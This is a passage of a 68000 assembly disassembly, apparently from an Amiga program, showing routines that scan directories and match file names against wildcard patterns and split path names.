  1737.     PEA    64(A7)            ;1038: 486F0040
  1738.     MOVEA.L    A3,A0            ;103C: 204B
  1739.     MOVEA.L    308(A4),A1        ;103E: 226C0134
  1740.     JSR    LAB_0135(PC)        ;1042: 4EBA047E
  1741.     MOVEA.L    308(A4),A0        ;1046: 206C0134
  1742.     LEA    68(A7),A1        ;104A: 43EF0044
  1743.     JSR    LAB_0205(PC)        ;104E: 4EBA1228
  1744.     LEA    12(A7),A7        ;1052: 4FEF000C
  1745.     TST.B    24(A7)            ;1056: 4A2F0018
  1746.     BEQ.S    LAB_00F8        ;105A: 6718
  1747.     MOVEA.L    312(A4),A0        ;105C: 206C0138
  1748.     LEA    LAB_0109(PC),A1        ;1060: 43FA013A
  1749.     JSR    LAB_0205(PC)        ;1064: 4EBA1212
  1750.     MOVEA.L    312(A4),A0        ;1068: 206C0138
  1751.     LEA    24(A7),A1        ;106C: 43EF0018
  1752.     JSR    LAB_0205(PC)        ;1070: 4EBA1206
  1753. LAB_00F8:
  1754.     MOVEA.L    312(A4),A0        ;1074: 206C0138
  1755.     MOVEA.L    A3,A1            ;1078: 224B
  1756. LAB_00F9:
  1757.     MOVE.B    (A0)+,D0        ;107A: 1018
  1758.     CMP.B    (A1)+,D0        ;107C: B019
  1759.     BNE.S    LAB_00FA        ;107E: 660C
  1760.     TST.B    D0            ;1080: 4A00
  1761.     BNE.S    LAB_00F9        ;1082: 66F6
  1762.     BNE.S    LAB_00FA        ;1084: 6606
  1763.     TST.L    628(A4)            ;1086: 4AAC0274
  1764.     BNE.S    LAB_00FB        ;108A: 6628
  1765. LAB_00FA:
  1766.     MOVE.L    308(A4),D1        ;108C: 222C0134
  1767.     MOVEA.L    17356(A4),A6        ;1090: 2C6C43CC
  1768.     MOVEQ    #-2,D2            ;1094: 74FE
  1769.     JSR    -84(A6)            ;1096: 4EAEFFAC
  1770.     MOVE.L    D0,17348(A4)        ;109A: 294043C4
  1771.     BNE.S    LAB_00FC        ;109E: 6626
  1772.     MOVEQ    #2,D0            ;10A0: 7002
  1773.     MOVE.L    D0,17332(A4)        ;10A2: 294043B4
  1774.     MOVE.L    #$000000CD,600(A4)    ;10A6: 297C000000CD0258
  1775.     MOVEQ    #-1,D0            ;10AE: 70FF
  1776.     BRA    LAB_0108        ;10B0: 600000E0
  1777. LAB_00FB:
  1778.     MOVEA.L    308(A4),A0        ;10B4: 206C0134
  1779.     JSR    LAB_0212(PC)        ;10B8: 4EBA1222
  1780.     CLR.L    308(A4)            ;10BC: 42AC0134
  1781.     MOVE.L    628(A4),17348(A4)    ;10C0: 296C027443C4
  1782. LAB_00FC:
  1783.     MOVEA.L    312(A4),A0        ;10C6: 206C0138
  1784.     JSR    LAB_017A(PC)        ;10CA: 4EBA07A8
  1785.     MOVE.L    D0,312(A4)        ;10CE: 29400138
  1786.     MOVEQ    #65,D0            ;10D2: 7041
  1787.     LSL.L    #2,D0            ;10D4: E588
  1788.     JSR    LAB_0223(PC)        ;10D6: 4EBA1370
  1789.     MOVEA.L    D0,A2            ;10DA: 2440
  1790.     MOVEQ    #0,D6            ;10DC: 7C00
  1791.     BRA.S    LAB_00FE        ;10DE: 6012
  1792. LAB_00FD:
  1793.     MOVE.B    0(A3,D6.L),D0        ;10E0: 10336800
  1794.     MOVEQ    #63,D1            ;10E4: 723F
  1795.     CMP.B    D1,D0            ;10E6: B001
  1796.     BEQ.S    LAB_0100        ;10E8: 6716
  1797.     MOVEQ    #35,D1            ;10EA: 7223
  1798.     CMP.B    D1,D0            ;10EC: B001
  1799.     BEQ.S    LAB_0100        ;10EE: 6710
  1800.     ADDQ.L    #1,D6            ;10F0: 5286
  1801. LAB_00FE:
  1802.     MOVEA.L    A3,A0            ;10F2: 204B
  1803. LAB_00FF:
  1804.     TST.B    (A0)+            ;10F4: 4A18
  1805.     BNE.S    LAB_00FF        ;10F6: 66FC
  1806.     SUBQ.L    #1,A0            ;10F8: 5388
  1807.     SUBA.L    A3,A0            ;10FA: 91CB
  1808.     CMP.L    A0,D6            ;10FC: BC88
  1809.     BCS.S    LAB_00FD        ;10FE: 65E0
  1810. LAB_0100:
  1811.     MOVEA.L    A3,A0            ;1100: 204B
  1812. LAB_0101:
  1813.     TST.B    (A0)+            ;1102: 4A18
  1814.     BNE.S    LAB_0101        ;1104: 66FC
  1815.     SUBQ.L    #1,A0            ;1106: 5388
  1816.     SUBA.L    A3,A0            ;1108: 91CB
  1817.     CMP.L    A0,D6            ;110A: BC88
  1818.     BNE.S    LAB_0104        ;110C: 6640
  1819.     TST.L    17352(A4)        ;110E: 4AAC43C8
  1820.     BNE.S    LAB_0104        ;1112: 663A
  1821.     MOVE.L    17344(A4),D0        ;1114: 202C43C0
  1822.     MOVEA.L    A2,A0            ;1118: 204A
  1823.     MOVEA.L    A3,A1            ;111A: 224B
  1824.     BSR    LAB_011A        ;111C: 6100019E
  1825.     MOVE.L    D0,D6            ;1120: 2C00
  1826.     MOVEA.L    A2,A0            ;1122: 204A
  1827.     MOVEQ    #64,D0            ;1124: 7040
  1828. LAB_0102:
  1829.     MOVE.L    (A0)+,(A5)+        ;1126: 2AD8
  1830.     DBF    D0,LAB_0102        ;1128: 51C8FFFC
  1831.     MOVEA.L    A2,A0            ;112C: 204A
  1832.     JSR    LAB_0212(PC)        ;112E: 4EBA11AC
  1833.     MOVE.L    17348(A4),D0        ;1132: 202C43C4
  1834.     MOVE.L    628(A4),D1        ;1136: 222C0274
  1835.     CMP.L    D0,D1            ;113A: B280
  1836.     BEQ.S    LAB_0103        ;113C: 670A
  1837.     MOVE.L    D0,D1            ;113E: 2200
  1838.     MOVEA.L    17356(A4),A6        ;1140: 2C6C43CC
  1839.     JSR    -90(A6)            ;1144: 4EAEFFA6
  1840. LAB_0103:
  1841.     CLR.L    312(A4)            ;1148: 42AC0138
  1842.     BRA.S    LAB_0107        ;114C: 6042
  1843. LAB_0104:
  1844.     MOVE.L    17348(A4),D1        ;114E: 222C43C4
  1845.     MOVE.L    A2,D2            ;1152: 240A
  1846.     MOVEA.L    17356(A4),A6        ;1154: 2C6C43CC
  1847.     JSR    -102(A6)        ;1158: 4EAEFF9A
  1848.     TST.L    D0            ;115C: 4A80
  1849.     BNE.S    LAB_0105        ;115E: 6618
  1850.     MOVEQ    #20,D0            ;1160: 7014
  1851.     MOVE.L    D0,17332(A4)        ;1162: 294043B4
  1852.     MOVE.L    #$000000CC,600(A4)    ;1166: 297C000000CC0258
  1853.     MOVEA.L    D2,A0            ;116E: 2042
  1854.     JSR    LAB_0212(PC)        ;1170: 4EBA116A
  1855.     MOVEQ    #-1,D0            ;1174: 70FF
  1856.     BRA.S    LAB_0108        ;1176: 601A
  1857. LAB_0105:
  1858.     MOVEA.L    D2,A0            ;1178: 2042
  1859.     BSR    LAB_0110        ;117A: 610000A4
  1860.     MOVE.L    D0,D6            ;117E: 2C00
  1861.     MOVEA.L    D2,A0            ;1180: 2042
  1862.     MOVEQ    #64,D0            ;1182: 7040
  1863. LAB_0106:
  1864.     MOVE.L    (A0)+,(A5)+        ;1184: 2AD8
  1865.     DBF    D0,LAB_0106        ;1186: 51C8FFFC
  1866.     MOVEA.L    D2,A0            ;118A: 2042
  1867.     JSR    LAB_0212(PC)        ;118C: 4EBA114E
  1868. LAB_0107:
  1869.     MOVE.L    D6,D0            ;1190: 2006
  1870. LAB_0108:
  1871.     MOVEM.L    (A7)+,D2/D6/A2-A3/A5-A6    ;1192: 4CDF6C44
  1872.     ADDA    #$0120,A7        ;1196: DEFC0120
  1873.     RTS                ;119A: 4E75
  1874. LAB_0109:
  1875.     MOVE.L    D0,D7            ;119C: 2E00
  1876.     MOVEA.L    4(A7),A0        ;119E: 206F0004
  1877.     MOVEM.L    D2/D7/A3/A5-A6,-(A7)    ;11A2: 48E72116
  1878.     MOVEA.L    A0,A5            ;11A6: 2A48
  1879.     CLR.L    600(A4)            ;11A8: 42AC0258
  1880.     TST.L    312(A4)            ;11AC: 4AAC0138
  1881.     BNE.S    LAB_010A        ;11B0: 6604
  1882.     MOVEQ    #-1,D0            ;11B2: 70FF
  1883.     BRA.S    LAB_010F        ;11B4: 6060
  1884. LAB_010A:
  1885.     MOVE.L    308(A4),D0        ;11B6: 202C0134
  1886.     BEQ.S    LAB_010B        ;11BA: 6724
  1887.     MOVE.L    D0,D1            ;11BC: 2200
  1888.     MOVEA.L    17356(A4),A6        ;11BE: 2C6C43CC
  1889.     MOVEQ    #-2,D2            ;11C2: 74FE
  1890.     JSR    -84(A6)            ;11C4: 4EAEFFAC
  1891.     MOVE.L    D0,17348(A4)        ;11C8: 294043C4
  1892.     BNE.S    LAB_010C        ;11CC: 6618
  1893.     MOVEQ    #2,D0            ;11CE: 7002
  1894.     MOVE.L    D0,17332(A4)        ;11D0: 294043B4
  1895.     MOVE.L    #$000000CD,600(A4)    ;11D4: 297C000000CD0258
  1896.     MOVEQ    #-1,D0            ;11DC: 70FF
  1897.     BRA.S    LAB_010F        ;11DE: 6036
  1898. LAB_010B:
  1899.     MOVE.L    628(A4),17348(A4)    ;11E0: 296C027443C4
  1900. LAB_010C:
  1901.     MOVEQ    #65,D0            ;11E6: 7041
  1902.     LSL.L    #2,D0            ;11E8: E588
  1903.     JSR    LAB_0223(PC)        ;11EA: 4EBA125C
  1904.     MOVEA.L    D0,A3            ;11EE: 2640
  1905.     MOVEA.L    A5,A0            ;11F0: 204D
  1906.     MOVEA.L    D0,A1            ;11F2: 2240
  1907.     MOVEQ    #64,D1            ;11F4: 7240
  1908. LAB_010D:
  1909.     MOVE.L    (A0)+,(A1)+        ;11F6: 22D8
  1910.     DBF    D1,LAB_010D        ;11F8: 51C9FFFC
  1911.     MOVEA.L    D0,A0            ;11FC: 2040
  1912.     BSR    LAB_0110        ;11FE: 61000020
  1913.     MOVE.L    D0,D7            ;1202: 2E00
  1914.     MOVEA.L    A3,A0            ;1204: 204B
  1915.     MOVEQ    #64,D0            ;1206: 7040
  1916. LAB_010E:
  1917.     MOVE.L    (A0)+,(A5)+        ;1208: 2AD8
  1918.     DBF    D0,LAB_010E        ;120A: 51C8FFFC
  1919.     MOVEA.L    A3,A0            ;120E: 204B
  1920.     JSR    LAB_0212(PC)        ;1210: 4EBA10CA
  1921.     MOVE.L    D7,D0            ;1214: 2007
  1922. LAB_010F:
  1923.     MOVEM.L    (A7)+,D2/D7/A3/A5-A6    ;1216: 4CDF6884
  1924.     RTS                ;121A: 4E75
  1925.     MOVEA.L    4(A7),A0        ;121C: 206F0004
  1926. LAB_0110:
  1927.     MOVEM.L    D2/D7/A3/A5-A6,-(A7)    ;1220: 48E72116
  1928.     MOVEA.L    A0,A5            ;1224: 2A48
  1929.     MOVEQ    #0,D7            ;1226: 7E00
  1930.     BRA.S    LAB_0115        ;1228: 6054
  1931. LAB_0111:
  1932.     MOVE.L    17348(A4),D1        ;122A: 222C43C4
  1933.     MOVE.L    A5,D2            ;122E: 240D
  1934.     MOVEA.L    17356(A4),A6        ;1230: 2C6C43CC
  1935.     JSR    -108(A6)        ;1234: 4EAEFF94
  1936.     TST.L    D0            ;1238: 4A80
  1937.     BNE.S    LAB_0112        ;123A: 6608
  1938.     JSR    -132(A6)        ;123C: 4EAEFF7C
  1939.     MOVE.L    D0,D7            ;1240: 2E00
  1940.     BRA.S    LAB_0115        ;1242: 603A
  1941. LAB_0112:
  1942.     TST.L    17344(A4)        ;1244: 4AAC43C0
  1943.     BNE.S    LAB_0113        ;1248: 6606
  1944.     MOVE.L    4(A5),D0        ;124A: 202D0004
  1945.     BGT.S    LAB_0115        ;124E: 6E2E
  1946. LAB_0113:
  1947.     LEA    8(A5),A3        ;1250: 47ED0008
  1948.     TST.L    17352(A4)        ;1254: 4AAC43C8
  1949.     BEQ.S    LAB_0114        ;1258: 6716
  1950.     MOVEA.L    A3,A0            ;125A: 204B
  1951.     JSR    LAB_017A(PC)        ;125C: 4EBA0616
  1952.     MOVEA.L    D0,A0            ;1260: 2040
  1953.     MOVEA.L    312(A4),A1        ;1262: 226C0138
  1954.     JSR    LAB_0155(PC)        ;1266: 4EBA03F0
  1955.     TST.L    D0            ;126A: 4A80
  1956.     BNE.S    LAB_0116        ;126C: 6618
  1957.     BRA.S    LAB_0115        ;126E: 600E
  1958. LAB_0114:
  1959.     MOVEA.L    A3,A0            ;1270: 204B
  1960.     MOVEA.L    312(A4),A1        ;1272: 226C0138
  1961.     JSR    LAB_0120(PC)        ;1276: 4EBA00CC
  1962.     TST.L    D0            ;127A: 4A80
  1963.     BNE.S    LAB_0116        ;127C: 6608
  1964. LAB_0115:
  1965.     MOVEQ    #116,D0            ;127E: 7074
  1966.     ADD.L    D0,D0            ;1280: D080
  1967.     CMP.L    D0,D7            ;1282: BE80
  1968.     BNE.S    LAB_0111        ;1284: 66A4
  1969. LAB_0116:
  1970.     MOVE.L    17348(A4),D0        ;1286: 202C43C4
  1971.     MOVE.L    628(A4),D1        ;128A: 222C0274
  1972.     CMP.L    D0,D1            ;128E: B280
  1973.     BEQ.S    LAB_0117        ;1290: 670A
  1974.     MOVE.L    D0,D1            ;1292: 2200
  1975.     MOVEA.L    17356(A4),A6        ;1294: 2C6C43CC
  1976.     JSR    -90(A6)            ;1298: 4EAEFFA6
  1977. LAB_0117:
  1978.     MOVEQ    #116,D0            ;129C: 7074
  1979.     ADD.L    D0,D0            ;129E: D080
  1980.     CMP.L    D0,D7            ;12A0: BE80
  1981.     BNE.S    LAB_0118        ;12A2: 6604
  1982.     MOVEQ    #-1,D0            ;12A4: 70FF
  1983.     BRA.S    LAB_0119        ;12A6: 6002
  1984. LAB_0118:
  1985.     MOVEQ    #0,D0            ;12A8: 7000
  1986. LAB_0119:
  1987.     MOVEM.L    (A7)+,D2/D7/A3/A5-A6    ;12AA: 4CDF6884
  1988.     RTS                ;12AE: 4E75
  1989.     MOVEA.L    4(A7),A0        ;12B0: 206F0004
  1990.     MOVEA.L    8(A7),A1        ;12B4: 226F0008
  1991.     MOVE.L    12(A7),D0        ;12B8: 202F000C
  1992. LAB_011A:
  1993.     SUBQ    #8,A7            ;12BC: 514F
  1994.     MOVEM.L    D2/D7/A3/A5-A6,-(A7)    ;12BE: 48E72116
  1995.     MOVEA.L    A0,A5            ;12C2: 2A48
  1996.     MOVE.L    D0,20(A7)        ;12C4: 2F400014
  1997.     CLR.L    600(A4)            ;12C8: 42AC0258
  1998.     MOVE.L    A1,24(A7)        ;12CC: 2F490018
  1999.     MOVE.L    A1,D1            ;12D0: 2209
  2000.     MOVEA.L    17356(A4),A6        ;12D2: 2C6C43CC
  2001.     MOVEQ    #-2,D2            ;12D6: 74FE
  2002.     JSR    -84(A6)            ;12D8: 4EAEFFAC
  2003.     MOVE.L    D0,D7            ;12DC: 2E00
  2004.     BNE.S    LAB_011B        ;12DE: 6612
  2005.     MOVEQ    #2,D0            ;12E0: 7002
  2006.     MOVE.L    D0,17332(A4)        ;12E2: 294043B4
  2007.     MOVE.L    #$000000CD,600(A4)    ;12E6: 297C000000CD0258
  2008.     MOVEQ    #-1,D0            ;12EE: 70FF
  2009.     BRA.S    LAB_011F        ;12F0: 6042
  2010. LAB_011B:
  2011.     MOVEQ    #65,D0            ;12F2: 7041
  2012.     LSL.L    #2,D0            ;12F4: E588
  2013.     JSR    LAB_0223(PC)        ;12F6: 4EBA1150
  2014.     MOVEA.L    D0,A3            ;12FA: 2640
  2015.     MOVE.L    D0,D2            ;12FC: 2400
  2016.     MOVE.L    D7,D1            ;12FE: 2207
  2017.     JSR    -102(A6)        ;1300: 4EAEFF9A
  2018.     TST.L    D0            ;1304: 4A80
  2019.     BNE.S    LAB_011C        ;1306: 6612
  2020.     MOVEQ    #2,D0            ;1308: 7002
  2021.     MOVE.L    D0,17332(A4)        ;130A: 294043B4
  2022.     MOVE.L    #$000000CD,600(A4)    ;130E: 297C000000CD0258
  2023.     MOVEQ    #-1,D7            ;1316: 7EFF
  2024.     BRA.S    LAB_011D        ;1318: 6008
  2025. LAB_011C:
  2026.     MOVE.L    D7,D1            ;131A: 2207
  2027.     JSR    -90(A6)            ;131C: 4EAEFFA6
  2028.     MOVEQ    #0,D7            ;1320: 7E00
  2029. LAB_011D:
  2030.     MOVEA.L    A3,A0            ;1322: 204B
  2031.     MOVEQ    #64,D0            ;1324: 7040
  2032. LAB_011E:
  2033.     MOVE.L    (A0)+,(A5)+        ;1326: 2AD8
  2034.     DBF    D0,LAB_011E        ;1328: 51C8FFFC
  2035.     MOVEA.L    A3,A0            ;132C: 204B
  2036.     JSR    LAB_0212(PC)        ;132E: 4EBA0FAC
  2037.     MOVE.L    D7,D0            ;1332: 2007
  2038. LAB_011F:
  2039.     MOVEM.L    (A7)+,D2/D7/A3/A5-A6    ;1334: 4CDF6884
  2040.     ADDQ    #8,A7            ;1338: 504F
  2041.     RTS                ;133A: 4E75
  2042.     MOVEA.L    4(A7),A0        ;133C: 206F0004
  2043.     MOVEA.L    8(A7),A1        ;1340: 226F0008
  2044. LAB_0120:
  2045.     SUBA    #$0024,A7        ;1344: 9EFC0024
  2046.     MOVEM.L    D6-D7/A2-A3/A5,-(A7)    ;1348: 48E70334
  2047.     MOVEA.L    A1,A3            ;134C: 2649
  2048.     MOVEA.L    A0,A5            ;134E: 2A48
  2049.     MOVEQ    #0,D7            ;1350: 7E00
  2050.     MOVEA.L    A5,A2            ;1352: 244D
  2051.     BRA    LAB_012E        ;1354: 600000F8
  2052. LAB_0121:
  2053.     MOVEQ    #0,D0            ;1358: 7000
  2054.     MOVE.B    21(A7),D0        ;135A: 102F0015
  2055.     MOVEQ    #35,D1            ;135E: 7223
  2056.     SUB.L    D1,D0            ;1360: 9081
  2057.     BEQ.S    LAB_0122        ;1362: 6724
  2058.     SUBQ.L    #4,D0            ;1364: 5980
  2059.     BEQ    LAB_012C        ;1366: 670000B0
  2060.     MOVEQ    #24,D1            ;136A: 7218
  2061.     SUB.L    D1,D0            ;136C: 9081
  2062.     BNE    LAB_012D        ;136E: 660000C2
  2063.     TST.B    (A5)            ;1372: 4A15
  2064.     SEQ    D0            ;1374: 57C0
  2065.     NEG.B    D0            ;1376: 4400
  2066.     EXT    D0            ;1378: 4880
  2067.     ADDQ.L    #1,A5            ;137A: 528D
  2068.     TST.B    D0            ;137C: 4A00
  2069.     BEQ    LAB_012E        ;137E: 670000CE
  2070.     MOVEQ    #0,D0            ;1382: 7000
  2071.     BRA    LAB_0130        ;1384: 600000DE
  2072. LAB_0122:
  2073.     MOVE.B    (A3)+,D0        ;1388: 101B
  2074.     MOVEQ    #0,D1            ;138A: 7200
  2075.     MOVE.B    D0,D1            ;138C: 1200
  2076.     MOVE.B    D0,22(A7)        ;138E: 1F400016
  2077.     MOVEQ    #40,D0            ;1392: 7028
  2078.     SUB.L    D0,D1            ;1394: 9280
  2079.     BEQ.S    LAB_0126        ;1396: 672A
  2080.     MOVEQ    #23,D0            ;1398: 7017
  2081.     SUB.L    D0,D1            ;139A: 9280
  2082.     BEQ.S    LAB_0124        ;139C: 6710
  2083.     BRA.S    LAB_012B        ;139E: 6058
  2084. LAB_0123:
  2085.     MOVEA.L    A5,A0            ;13A0: 204D
  2086.     MOVEA.L    A3,A1            ;13A2: 224B
  2087.     BSR.S    LAB_0120        ;13A4: 619E
  2088.     TST.L    D0            ;13A6: 4A80
  2089.     BNE    LAB_012E        ;13A8: 660000A4
  2090.     ADDQ.L    #1,A5            ;13AC: 528D
  2091. LAB_0124:
  2092.     TST.B    (A5)            ;13AE: 4A15
  2093.     BNE.S    LAB_0123        ;13B0: 66EE
  2094.     BRA    LAB_012E        ;13B2: 6000009A
  2095. LAB_0125:
  2096.     MOVEA.L    D7,A0            ;13B6: 2047
  2097.     ADDQ.L    #1,D7            ;13B8: 5287
  2098.     MOVE.L    A0,D0            ;13BA: 2008
  2099.     MOVE.B    20(A7),24(A7,D0.L)    ;13BC: 1FAF00140818
  2100. LAB_0126:
  2101.     MOVE.B    (A3)+,D0        ;13C2: 101B
  2102.     MOVE.B    D0,20(A7)        ;13C4: 1F400014
  2103.     MOVEQ    #41,D1            ;13C8: 7229
  2104.     CMP.B    D1,D0            ;13CA: B001
  2105.     BNE.S    LAB_0125        ;13CC: 66E8
  2106.     CLR.B    24(A7,D7.L)        ;13CE: 42377818
  2107.     BRA.S    LAB_0129        ;13D2: 6012
  2108. LAB_0127:
  2109.     LEA    24(A7),A0        ;13D4: 41EF0018
  2110.     MOVEA.L    A0,A1            ;13D8: 2248
  2111. LAB_0128:
  2112.     TST.B    (A1)+            ;13DA: 4A19
  2113.     BNE.S    LAB_0128        ;13DC: 66FC
  2114.     SUBQ.L    #1,A1            ;13DE: 5389
  2115.     SUBA.L    A0,A1            ;13E0: 93C8
  2116.     MOVE.L    A1,D0            ;13E2: 2009
  2117.     ADDA.L    D0,A5            ;13E4: DBC0
  2118. LAB_0129:
  2119.     MOVEA.L    A5,A0            ;13E6: 204D
  2120.     LEA    24(A7),A1        ;13E8: 43EF0018
  2121.     BSR    LAB_0131        ;13EC: 61000088
  2122.     TST.L    D0            ;13F0: 4A80
  2123.     BNE.S    LAB_0127        ;13F2: 66E0
  2124.     BRA.S    LAB_012E        ;13F4: 6058
  2125. LAB_012A:
  2126.     ADDQ.L    #1,A5            ;13F6: 528D
  2127. LAB_012B:
  2128.     MOVE.B    (A5),D0            ;13F8: 1015
  2129.     BEQ.S    LAB_012E        ;13FA: 6752
  2130.     MOVEQ    #0,D1            ;13FC: 7200
  2131.     MOVE.B    D0,D1            ;13FE: 1200
  2132.     MOVE.L    D1,D0            ;1400: 2001
  2133.     JSR    LAB_0313(PC)        ;1402: 4EBA21E4
  2134.     MOVE.L    D0,D6            ;1406: 2C00
  2135.     MOVEQ    #0,D0            ;1408: 7000
  2136.     MOVE.B    22(A7),D0        ;140A: 102F0016
  2137.     JSR    LAB_0313(PC)        ;140E: 4EBA21D8
  2138.     CMP.L    D0,D6            ;1412: BC80
  2139.     BEQ.S    LAB_012A        ;1414: 67E0
  2140.     BRA.S    LAB_012E        ;1416: 6036
  2141. LAB_012C:
  2142.     MOVEQ    #0,D0            ;1418: 7000
  2143.     MOVE.B    (A3)+,D0        ;141A: 101B
  2144.     JSR    LAB_0313(PC)        ;141C: 4EBA21CA
  2145.     MOVE.L    D0,D6            ;1420: 2C00
  2146.     MOVEQ    #0,D0            ;1422: 7000
  2147.     MOVE.B    (A5)+,D0        ;1424: 101D
  2148.     JSR    LAB_0313(PC)        ;1426: 4EBA21C0
  2149.     CMP.L    D0,D6            ;142A: BC80
  2150.     BEQ.S    LAB_012E        ;142C: 6720
  2151.     MOVEQ    #0,D0            ;142E: 7000
  2152.     BRA.S    LAB_0130        ;1430: 6032
  2153. LAB_012D:
  2154.     MOVEQ    #0,D0            ;1432: 7000
  2155.     MOVE.B    21(A7),D0        ;1434: 102F0015
  2156.     JSR    LAB_0313(PC)        ;1438: 4EBA21AE
  2157.     MOVE.L    D0,D6            ;143C: 2C00
  2158.     MOVEQ    #0,D0            ;143E: 7000
  2159.     MOVE.B    (A5)+,D0        ;1440: 101D
  2160.     JSR    LAB_0313(PC)        ;1442: 4EBA21A4
  2161.     CMP.L    D0,D6            ;1446: BC80
  2162.     BEQ.S    LAB_012E        ;1448: 6704
  2163.     MOVEQ    #0,D0            ;144A: 7000
  2164.     BRA.S    LAB_0130        ;144C: 6016
  2165. LAB_012E:
  2166.     MOVE.B    (A3)+,D0        ;144E: 101B
  2167.     MOVE.B    D0,21(A7)        ;1450: 1F400015
  2168.     BNE    LAB_0121        ;1454: 6600FF02
  2169.     TST.B    (A5)            ;1458: 4A15
  2170.     BEQ.S    LAB_012F        ;145A: 6704
  2171.     MOVEQ    #0,D0            ;145C: 7000
  2172.     BRA.S    LAB_0130        ;145E: 6004
  2173. LAB_012F:
  2174.     MOVE.L    A5,D0            ;1460: 200D
  2175.     SUB.L    A2,D0            ;1462: 908A
  2176. LAB_0130:
  2177.     MOVEM.L    (A7)+,D6-D7/A2-A3/A5    ;1464: 4CDF2CC0
  2178.     ADDA    #$0024,A7        ;1468: DEFC0024
  2179.     RTS                ;146C: 4E75
  2180.     MOVEA.L    4(A7),A0        ;146E: 206F0004
  2181.     MOVEA.L    8(A7),A1        ;1472: 226F0008
  2182. LAB_0131:
  2183.     MOVEM.L    D7/A3/A5,-(A7)        ;1476: 48E70114
  2184.     MOVEA.L    A1,A3            ;147A: 2649
  2185.     MOVEA.L    A0,A5            ;147C: 2A48
  2186.     BRA.S    LAB_0133        ;147E: 601A
  2187. LAB_0132:
  2188.     MOVEQ    #0,D0            ;1480: 7000
  2189.     MOVE.B    (A5)+,D0        ;1482: 101D
  2190.     JSR    LAB_0313(PC)        ;1484: 4EBA2162
  2191.     MOVE.L    D0,D7            ;1488: 2E00
  2192.     MOVEQ    #0,D0            ;148A: 7000
  2193.     MOVE.B    (A3)+,D0        ;148C: 101B
  2194.     JSR    LAB_0313(PC)        ;148E: 4EBA2158
  2195.     CMP.L    D0,D7            ;1492: BE80
  2196.     BEQ.S    LAB_0133        ;1494: 6704
  2197.     MOVEQ    #0,D0            ;1496: 7000
  2198.     BRA.S    LAB_0134        ;1498: 6006
  2199. LAB_0133:
  2200.     TST.B    (A3)            ;149A: 4A13
  2201.     BNE.S    LAB_0132        ;149C: 66E2
  2202.     MOVEQ    #1,D0            ;149E: 7001
  2203. LAB_0134:
  2204.     MOVEM.L    (A7)+,D7/A3/A5        ;14A0: 4CDF2880
  2205.     RTS                ;14A4: 4E75
  2206.     DC.W    $0000            ;14A6
  2207.     MOVEA.L    4(A7),A0        ;14A8: 206F0004
  2208.     MOVEA.L    8(A7),A1        ;14AC: 226F0008
  2209.     MOVE.L    12(A7),4(A7)        ;14B0: 2F6F000C0004
  2210.     MOVE.L    16(A7),8(A7)        ;14B6: 2F6F00100008
  2211.     MOVE.L    20(A7),12(A7)        ;14BC: 2F6F0014000C
  2212. LAB_0135:
  2213.     SUBA    #$0048,A7        ;14C2: 9EFC0048
  2214.     MOVEM.L    D6-D7/A2-A3/A5,-(A7)    ;14C6: 48E70334
  2215.     MOVEA.L    100(A7),A5        ;14CA: 2A6F0064
  2216.     MOVEA.L    104(A7),A2        ;14CE: 246F0068
  2217.     MOVE.L    A0,20(A7)        ;14D2: 2F480014
  2218.     MOVE.L    A1,24(A7)        ;14D6: 2F490018
  2219.     MOVEA.L    A0,A1            ;14DA: 2248
  2220.     LEA    28(A7),A0        ;14DC: 41EF001C
  2221.     MOVEQ    #63,D0            ;14E0: 703F
  2222.     JSR    LAB_0208(PC)        ;14E2: 4EBA0DB0
  2223.     CLR.B    91(A7)            ;14E6: 422F005B
  2224.     LEA    28(A7),A0        ;14EA: 41EF001C
  2225.     MOVEA.L    A0,A1            ;14EE: 2248
  2226. LAB_0136:
  2227.     TST.B    (A1)+            ;14F0: 4A19
  2228.     BNE.S    LAB_0136        ;14F2: 66FC
  2229.     SUBQ.L    #1,A1            ;14F4: 5389
  2230.     SUBA.L    A0,A1            ;14F6: 93C8
  2231.     MOVE.L    A1,D7            ;14F8: 2E09
  2232.     MOVEA.L    24(A7),A3        ;14FA: 266F0018
  2233.     MOVE.L    A3,D0            ;14FE: 200B
  2234.     BEQ.S    LAB_0137        ;1500: 6702
  2235.     CLR.B    (A3)            ;1502: 4213
  2236. LAB_0137:
  2237.     MOVEA.L    96(A7),A3        ;1504: 266F0060
  2238.     MOVE.L    A3,D0            ;1508: 200B
  2239.     BEQ.S    LAB_0138        ;150A: 6702
  2240.     CLR.B    (A3)            ;150C: 4213
  2241. LAB_0138:
  2242.     MOVE.L    A5,D0            ;150E: 200D
  2243.     BEQ.S    LAB_0139        ;1510: 6702
  2244.     CLR.B    (A5)            ;1512: 4215
  2245. LAB_0139:
  2246.     MOVE.L    A2,D0            ;1514: 200A
  2247.     BEQ.S    LAB_013A        ;1516: 6702
  2248.     CLR.B    (A2)            ;1518: 4212
  2249. LAB_013A:
  2250.     MOVE.L    D7,D6            ;151A: 2C07
  2251.     BRA.S    LAB_0140        ;151C: 6038
  2252. LAB_013B:
  2253.     LEA    28(A7),A0        ;151E: 41EF001C
  2254.     ADDA.L    D6,A0            ;1522: D1C6
  2255.     MOVEA.L    A0,A3            ;1524: 2648
  2256.     MOVEQ    #0,D0            ;1526: 7000
  2257.     MOVE.B    (A3),D0            ;1528: 1013
  2258.     MOVEQ    #46,D1            ;152A: 722E
  2259.     SUB.L    D1,D0            ;152C: 9081
  2260.     BEQ.S    LAB_013C        ;152E: 6712
  2261.     SUBQ.L    #1,D0            ;1530: 5380
  2262.     BEQ.S    LAB_013F        ;1532: 671E
  2263.     MOVEQ    #11,D1            ;1534: 720B
  2264.     SUB.L    D1,D0            ;1536: 9081
  2265.     BEQ.S    LAB_013F        ;1538: 6718
  2266.     MOVEQ    #34,D1            ;153A: 7222
  2267.     SUB.L    D1,D0            ;153C: 9081
  2268.     BEQ.S    LAB_013F        ;153E: 6712
  2269.     BRA.S    LAB_0140        ;1540: 6014
  2270. LAB_013C:
  2271.     MOVE.L    A2,D0            ;1542: 200A
  2272.     BEQ.S    LAB_013E        ;1544: 6708
  2273.     LEA    1(A3),A0        ;1546: 41EB0001
  2274. LAB_013D:
  2275.     MOVE.B    (A0)+,(A2)+        ;154A: 14D8
  2276.     BNE.S    LAB_013D        ;154C: 66FC
  2277. LAB_013E:
  2278.     CLR.B    (A3)            ;154E: 4213
  2279.     BRA.S    LAB_0148        ;1550: 605C
  2280. LAB_013F:
  2281.     MOVE.L    D7,D6            ;1552: 2C07
  2282.     BRA.S    LAB_0148        ;1554: 6058
  2283. LAB_0140:
  2284.     MOVE.L    D6,D0            ;1556: 2006
  2285.     SUBQ.L    #1,D6            ;1558: 5386
  2286.     TST.L    D0            ;155A: 4A80
